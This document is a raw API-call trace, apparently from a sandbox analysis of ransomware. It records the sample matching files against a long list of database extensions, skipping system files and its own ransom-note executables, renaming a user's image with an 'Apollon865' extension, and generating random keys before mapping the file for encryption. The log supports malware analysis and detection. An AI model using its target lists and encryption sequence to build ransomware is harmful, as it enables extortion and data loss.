	[0087.218] lstrlenW (lpString="accdb") returned 5
	[0087.218] lstrcmpiW (lpString1="U.jpg", lpString2="accdb") returned 1
	[0087.218] lstrlenW (lpString="accdc") returned 5
	[0087.218] lstrcmpiW (lpString1="U.jpg", lpString2="accdc") returned 1
	[0087.218] lstrlenW (lpString="accde") returned 5
	[0087.218] lstrcmpiW (lpString1="U.jpg", lpString2="accde") returned 1
	[0087.218] lstrlenW (lpString="accdr") returned 5
	[0087.218] lstrcmpiW (lpString1="U.jpg", lpString2="accdr") returned 1
	[0087.218] lstrlenW (lpString="accdt") returned 5
	[0087.218] lstrcmpiW (lpString1="U.jpg", lpString2="accdt") returned 1
	[0087.218] lstrlenW (lpString="accdw") returned 5
	[0087.218] lstrcmpiW (lpString1="U.jpg", lpString2="accdw") returned 1
	[0087.218] lstrlenW (lpString="accft") returned 5
	[0087.218] lstrcmpiW (lpString1="U.jpg", lpString2="accft") returned 1
	[0087.218] lstrlenW (lpString="adb") returned 3
	[0087.218] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0087.218] lstrlenW (lpString="adb") returned 3
	[0087.218] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0087.218] lstrlenW (lpString="ade") returned 3
	[0087.218] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0087.218] lstrlenW (lpString="adf") returned 3
	[0087.218] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0087.218] lstrlenW (lpString="adn") returned 3
	[0087.218] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0087.218] lstrlenW (lpString="adp") returned 3
	[0087.218] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0087.219] lstrlenW (lpString="alf") returned 3
	[0087.219] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0087.219] lstrlenW (lpString="ask") returned 3
	[0087.219] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0087.219] lstrlenW (lpString="btr") returned 3
	[0087.219] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0087.219] lstrlenW (lpString="cat") returned 3
	[0087.219] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0087.219] lstrlenW (lpString="cdb") returned 3
	[0087.219] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0087.219] lstrlenW (lpString="ckp") returned 3
	[0087.219] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0087.219] lstrlenW (lpString="cma") returned 3
	[0087.219] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0087.219] lstrlenW (lpString="cpd") returned 3
	[0087.219] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0087.219] lstrlenW (lpString="dacpac") returned 6
	[0087.219] lstrcmpiW (lpString1="JU.jpg", lpString2="dacpac") returned 1
	[0087.219] lstrlenW (lpString="dad") returned 3
	[0087.219] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0087.219] lstrlenW (lpString="dadiagrams") returned 10
	[0087.219] lstrcmpiW (lpString1="Bvs2JU.jpg", lpString2="dadiagrams") returned -1
	[0087.219] lstrlenW (lpString="daschema") returned 8
	[0087.219] lstrcmpiW (lpString1="s2JU.jpg", lpString2="daschema") returned 1
	[0087.219] lstrlenW (lpString="db-journal") returned 10
	[0087.219] lstrcmpiW (lpString1="Bvs2JU.jpg", lpString2="db-journal") returned -1
	[0087.219] lstrlenW (lpString="db-shm") returned 6
	[0087.219] lstrcmpiW (lpString1="JU.jpg", lpString2="db-shm") returned 1
	[0087.219] lstrlenW (lpString="db-wal") returned 6
	[0087.219] lstrcmpiW (lpString1="JU.jpg", lpString2="db-wal") returned 1
	[0087.219] lstrlenW (lpString="dbc") returned 3
	[0087.219] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0087.219] lstrlenW (lpString="dbs") returned 3
	[0087.219] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0087.219] lstrlenW (lpString="dbt") returned 3
	[0087.220] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0087.220] lstrlenW (lpString="dbv") returned 3
	[0087.220] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0087.220] lstrlenW (lpString="dbx") returned 3
	[0087.220] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0087.220] lstrlenW (lpString="dcb") returned 3
	[0087.220] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0087.220] lstrlenW (lpString="dct") returned 3
	[0087.220] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0087.220] lstrlenW (lpString="dcx") returned 3
	[0087.220] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0087.220] lstrlenW (lpString="ddl") returned 3
	[0087.220] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0087.220] lstrlenW (lpString="dlis") returned 4
	[0087.220] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0087.220] lstrlenW (lpString="dp1") returned 3
	[0087.220] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0087.220] lstrlenW (lpString="dqy") returned 3
	[0087.220] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0087.220] lstrlenW (lpString="dsk") returned 3
	[0087.220] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0087.220] lstrlenW (lpString="dsn") returned 3
	[0087.220] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0087.220] lstrlenW (lpString="dtsx") returned 4
	[0087.220] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0087.220] lstrlenW (lpString="dxl") returned 3
	[0087.220] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0087.220] lstrlenW (lpString="eco") returned 3
	[0087.220] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0087.220] lstrlenW (lpString="ecx") returned 3
	[0087.220] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0087.220] lstrlenW (lpString="edb") returned 3
	[0087.220] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0087.221] lstrlenW (lpString="epim") returned 4
	[0087.221] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0087.221] lstrlenW (lpString="fcd") returned 3
	[0087.221] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0087.221] lstrlenW (lpString="fdb") returned 3
	[0087.221] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0087.221] lstrlenW (lpString="fic") returned 3
	[0087.221] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0087.221] lstrlenW (lpString="flexolibrary") returned 12
	[0087.221] lstrlenW (lpString="fm5") returned 3
	[0087.221] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0087.221] lstrlenW (lpString="fmp") returned 3
	[0087.221] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0087.221] lstrlenW (lpString="fmp12") returned 5
	[0087.221] lstrcmpiW (lpString1="U.jpg", lpString2="fmp12") returned 1
	[0087.221] lstrlenW (lpString="fmpsl") returned 5
	[0087.221] lstrcmpiW (lpString1="U.jpg", lpString2="fmpsl") returned 1
	[0087.221] lstrlenW (lpString="fol") returned 3
	[0087.221] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0087.221] lstrlenW (lpString="fp3") returned 3
	[0087.221] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0087.221] lstrlenW (lpString="fp4") returned 3
	[0087.221] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0087.221] lstrlenW (lpString="fp5") returned 3
	[0087.221] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0087.221] lstrlenW (lpString="fp7") returned 3
	[0087.221] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0087.221] lstrlenW (lpString="fpt") returned 3
	[0087.221] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0087.221] lstrlenW (lpString="frm") returned 3
	[0087.221] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0087.221] lstrlenW (lpString="gdb") returned 3
	[0087.221] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0087.221] lstrlenW (lpString="gdb") returned 3
	[0087.222] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0087.222] lstrlenW (lpString="grdb") returned 4
	[0087.222] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0087.222] lstrlenW (lpString="gwi") returned 3
	[0087.222] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0087.222] lstrlenW (lpString="hdb") returned 3
	[0087.222] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0087.222] lstrlenW (lpString="his") returned 3
	[0087.222] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0087.222] lstrlenW (lpString="ib") returned 2
	[0087.222] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0087.222] lstrlenW (lpString="idb") returned 3
	[0087.222] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0087.222] lstrlenW (lpString="ihx") returned 3
	[0087.222] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0087.222] lstrlenW (lpString="itdb") returned 4
	[0087.222] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0087.222] lstrlenW (lpString="itw") returned 3
	[0087.222] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0087.222] lstrlenW (lpString="jet") returned 3
	[0087.222] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0087.222] lstrlenW (lpString="jtx") returned 3
	[0087.222] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0087.222] lstrlenW (lpString="kdb") returned 3
	[0087.222] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0087.222] lstrlenW (lpString="kexi") returned 4
	[0087.222] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0087.222] lstrlenW (lpString="kexic") returned 5
	[0087.222] lstrcmpiW (lpString1="U.jpg", lpString2="kexic") returned 1
	[0087.222] lstrlenW (lpString="kexis") returned 5
	[0087.222] lstrcmpiW (lpString1="U.jpg", lpString2="kexis") returned 1
	[0087.222] lstrlenW (lpString="lgc") returned 3
	[0087.222] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0087.222] lstrlenW (lpString="lwx") returned 3
	[0087.223] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0087.223] lstrlenW (lpString="maf") returned 3
	[0087.223] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0087.223] lstrlenW (lpString="maq") returned 3
	[0087.223] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0087.223] lstrlenW (lpString="mar") returned 3
	[0087.223] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0087.223] lstrlenW (lpString="marshal") returned 7
	[0087.223] lstrcmpiW (lpString1="2JU.jpg", lpString2="marshal") returned -1
	[0087.223] lstrlenW (lpString="mas") returned 3
	[0087.223] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0087.223] lstrlenW (lpString="mav") returned 3
	[0087.223] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0087.223] lstrlenW (lpString="maw") returned 3
	[0087.223] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0087.223] lstrlenW (lpString="mdbhtml") returned 7
	[0087.223] lstrcmpiW (lpString1="2JU.jpg", lpString2="mdbhtml") returned -1
	[0087.223] lstrlenW (lpString="mdn") returned 3
	[0087.223] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0087.223] lstrlenW (lpString="mdt") returned 3
	[0087.223] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0087.223] lstrlenW (lpString="mfd") returned 3
	[0087.223] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0087.223] lstrlenW (lpString="mpd") returned 3
	[0087.223] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0087.223] lstrlenW (lpString="mrg") returned 3
	[0087.223] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0087.223] lstrlenW (lpString="mud") returned 3
	[0087.223] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0087.223] lstrlenW (lpString="mwb") returned 3
	[0087.223] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0087.223] lstrlenW (lpString="myd") returned 3
	[0087.223] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0087.223] lstrlenW (lpString="ndf") returned 3
	[0087.223] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0087.224] lstrlenW (lpString="nnt") returned 3
	[0087.224] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0087.224] lstrlenW (lpString="nrmlib") returned 6
	[0087.224] lstrcmpiW (lpString1="JU.jpg", lpString2="nrmlib") returned -1
	[0087.224] lstrlenW (lpString="ns2") returned 3
	[0087.224] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0087.224] lstrlenW (lpString="ns3") returned 3
	[0087.224] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0087.224] lstrlenW (lpString="ns4") returned 3
	[0087.224] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0087.224] lstrlenW (lpString="nsf") returned 3
	[0087.224] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0087.224] lstrlenW (lpString="nv") returned 2
	[0087.224] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0087.224] lstrlenW (lpString="nv2") returned 3
	[0087.224] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0087.224] lstrlenW (lpString="nwdb") returned 4
	[0087.224] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0087.224] lstrlenW (lpString="nyf") returned 3
	[0087.224] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0087.224] lstrlenW (lpString="odb") returned 3
	[0087.224] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0087.224] lstrlenW (lpString="odb") returned 3
	[0087.224] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0087.224] lstrlenW (lpString="oqy") returned 3
	[0087.224] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0087.224] lstrlenW (lpString="ora") returned 3
	[0087.224] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0087.224] lstrlenW (lpString="orx") returned 3
	[0087.224] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0087.224] lstrlenW (lpString="owc") returned 3
	[0087.224] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0087.224] lstrlenW (lpString="p96") returned 3
	[0087.224] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0087.224] lstrlenW (lpString="p97") returned 3
	[0087.224] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0087.225] lstrlenW (lpString="pan") returned 3
	[0087.225] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0087.225] lstrlenW (lpString="pdb") returned 3
	[0087.225] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0087.225] lstrlenW (lpString="pdm") returned 3
	[0087.225] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0087.225] lstrlenW (lpString="pnz") returned 3
	[0087.225] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0087.225] lstrlenW (lpString="qry") returned 3
	[0087.225] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0087.225] lstrlenW (lpString="qvd") returned 3
	[0087.225] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0087.225] lstrlenW (lpString="rbf") returned 3
	[0087.225] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0087.225] lstrlenW (lpString="rctd") returned 4
	[0087.225] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0087.225] lstrlenW (lpString="rod") returned 3
	[0087.225] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0087.225] lstrlenW (lpString="rodx") returned 4
	[0087.225] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0087.225] lstrlenW (lpString="rpd") returned 3
	[0087.225] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0087.225] lstrlenW (lpString="rsd") returned 3
	[0087.225] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0087.225] lstrlenW (lpString="sas7bdat") returned 8
	[0087.225] lstrcmpiW (lpString1="s2JU.jpg", lpString2="sas7bdat") returned -1
	[0087.225] lstrlenW (lpString="sbf") returned 3
	[0087.225] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0087.225] lstrlenW (lpString="scx") returned 3
	[0087.225] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0087.225] lstrlenW (lpString="sdb") returned 3
	[0087.225] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0087.225] lstrlenW (lpString="sdc") returned 3
	[0087.225] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0087.225] lstrlenW (lpString="sdf") returned 3
	[0087.226] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0087.226] lstrlenW (lpString="sis") returned 3
	[0087.226] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0087.226] lstrlenW (lpString="spq") returned 3
	[0087.226] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0087.226] lstrlenW (lpString="te") returned 2
	[0087.226] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0087.226] lstrlenW (lpString="teacher") returned 7
	[0087.226] lstrcmpiW (lpString1="2JU.jpg", lpString2="teacher") returned -1
	[0087.226] lstrlenW (lpString="tmd") returned 3
	[0087.226] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0087.226] lstrlenW (lpString="tps") returned 3
	[0087.226] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0087.226] lstrlenW (lpString="trc") returned 3
	[0087.226] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0087.226] lstrlenW (lpString="trc") returned 3
	[0087.226] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0087.226] lstrlenW (lpString="trm") returned 3
	[0087.226] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0087.226] lstrlenW (lpString="udb") returned 3
	[0087.226] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0087.226] lstrlenW (lpString="udl") returned 3
	[0087.226] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0087.226] lstrlenW (lpString="usr") returned 3
	[0087.226] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0087.226] lstrlenW (lpString="v12") returned 3
	[0087.226] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0087.226] lstrlenW (lpString="vis") returned 3
	[0087.226] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0087.226] lstrlenW (lpString="vpd") returned 3
	[0087.226] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0087.226] lstrlenW (lpString="vvv") returned 3
	[0087.226] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0087.226] lstrlenW (lpString="wdb") returned 3
	[0087.226] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0087.227] lstrlenW (lpString="wmdb") returned 4
	[0087.227] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0087.227] lstrlenW (lpString="wrk") returned 3
	[0087.227] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0087.227] lstrlenW (lpString="xdb") returned 3
	[0087.227] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0087.227] lstrlenW (lpString="xld") returned 3
	[0087.227] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0087.227] lstrlenW (lpString="xmlff") returned 5
	[0087.227] lstrcmpiW (lpString1="U.jpg", lpString2="xmlff") returned -1
	[0087.227] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\99Bvs2JU.jpg.Apollon865") returned 77
	[0087.227] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\99Bvs2JU.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\99bvs2ju.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\99Bvs2JU.jpg.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\99bvs2ju.jpg.apollon865"), dwFlags=0x1) returned 1
	[0087.228] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\99Bvs2JU.jpg.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\99bvs2ju.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.228] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=21633) returned 1
	[0087.228] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.229] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.229] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.229] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.230] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.230] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.230] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5790, lpName=0x0) returned 0x15c
	[0087.230] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5790) returned 0x100000
	[0087.231] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.232] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.232] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.232] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.232] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.232] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.232] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.232] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.232] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.232] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0087.232] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.232] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0087.232] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.232] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0087.233] CloseHandle (hObject=0x15c) returned 1
	[0087.233] CloseHandle (hObject=0x9c) returned 1
	[0087.234] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.234] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.234] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.234] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2583d310, ftCreationTime.dwHighDateTime=0x1d4cde8, ftLastAccessTime.dwLowDateTime=0xd1530520, ftLastAccessTime.dwHighDateTime=0x1d4c696, ftLastWriteTime.dwLowDateTime=0xd1530520, ftLastWriteTime.dwHighDateTime=0x1d4c696, nFileSizeHigh=0x0, nFileSizeLow=0x8ff8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EfKnGxZUf5_3xx4I.png", cAlternateFileName="EFKNGX~1.PNG")) returned 1
	[0087.234] lstrcmpiW (lpString1="EfKnGxZUf5_3xx4I.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.234] lstrcmpiW (lpString1="EfKnGxZUf5_3xx4I.png", lpString2="Apollon865.txt.exe") returned 1
	[0087.234] lstrcmpiW (lpString1="EfKnGxZUf5_3xx4I.png", lpString2=".") returned 1
	[0087.234] lstrcmpiW (lpString1="EfKnGxZUf5_3xx4I.png", lpString2="..") returned 1
	[0087.234] lstrcmpiW (lpString1="EfKnGxZUf5_3xx4I.png", lpString2="windows") returned -1
	[0087.234] lstrcmpiW (lpString1="EfKnGxZUf5_3xx4I.png", lpString2="bootmgr") returned 1
	[0087.234] lstrcmpiW (lpString1="EfKnGxZUf5_3xx4I.png", lpString2="temp") returned -1
	[0087.234] lstrcmpiW (lpString1="EfKnGxZUf5_3xx4I.png", lpString2="pagefile.sys") returned -1
	[0087.234] lstrcmpiW (lpString1="EfKnGxZUf5_3xx4I.png", lpString2="boot") returned 1
	[0087.234] lstrcmpiW (lpString1="EfKnGxZUf5_3xx4I.png", lpString2="ids.txt") returned -1
	[0087.234] lstrcmpiW (lpString1="EfKnGxZUf5_3xx4I.png", lpString2="ntuser.dat") returned -1
	[0087.235] lstrcmpiW (lpString1="EfKnGxZUf5_3xx4I.png", lpString2="perflogs") returned -1
	[0087.235] lstrcmpiW (lpString1="EfKnGxZUf5_3xx4I.png", lpString2="MSBuild") returned -1
	[0087.235] lstrlenW (lpString="EfKnGxZUf5_3xx4I.png") returned 20
	[0087.235] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\99Bvs2JU.jpg") returned 66
	[0087.235] lstrcpyW (in: lpString1=0x119e674, lpString2="EfKnGxZUf5_3xx4I.png" | out: lpString1="EfKnGxZUf5_3xx4I.png") returned="EfKnGxZUf5_3xx4I.png"
	[0087.235] lstrlenW (lpString="EfKnGxZUf5_3xx4I.png") returned 20
	[0087.235] lstrlenW (lpString="Apollon865") returned 10
	[0087.235] lstrcmpiW (lpString1="_3xx4I.png", lpString2="Apollon865") returned -1
	[0087.235] lstrlenW (lpString=".dll") returned 4
	[0087.235] lstrcmpiW (lpString1="EfKnGxZUf5_3xx4I.png", lpString2=".dll") returned 1
	[0087.235] lstrlenW (lpString=".lnk") returned 4
	[0087.235] lstrcmpiW (lpString1="EfKnGxZUf5_3xx4I.png", lpString2=".lnk") returned 1
	[0087.235] lstrlenW (lpString=".ini") returned 4
	[0087.235] lstrcmpiW (lpString1="EfKnGxZUf5_3xx4I.png", lpString2=".ini") returned 1
	[0087.235] lstrlenW (lpString=".sys") returned 4
	[0087.235] lstrcmpiW (lpString1="EfKnGxZUf5_3xx4I.png", lpString2=".sys") returned 1
	[0087.235] lstrlenW (lpString="EfKnGxZUf5_3xx4I.png") returned 20
	[0087.235] lstrlenW (lpString="bak") returned 3
	[0087.235] lstrcmpiW (lpString1="png", lpString2="bak") returned 1
	[0087.235] lstrlenW (lpString="ba_") returned 3
	[0087.235] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1
	[0087.235] lstrlenW (lpString="dbb") returned 3
	[0087.235] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1
	[0087.235] lstrlenW (lpString="vmdk") returned 4
	[0087.235] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1
	[0087.235] lstrlenW (lpString="rar") returned 3
	[0087.235] lstrcmpiW (lpString1="png", lpString2="rar") returned -1
	[0087.235] lstrlenW (lpString="zip") returned 3
	[0087.235] lstrcmpiW (lpString1="png", lpString2="zip") returned -1
	[0087.235] lstrlenW (lpString="tgz") returned 3
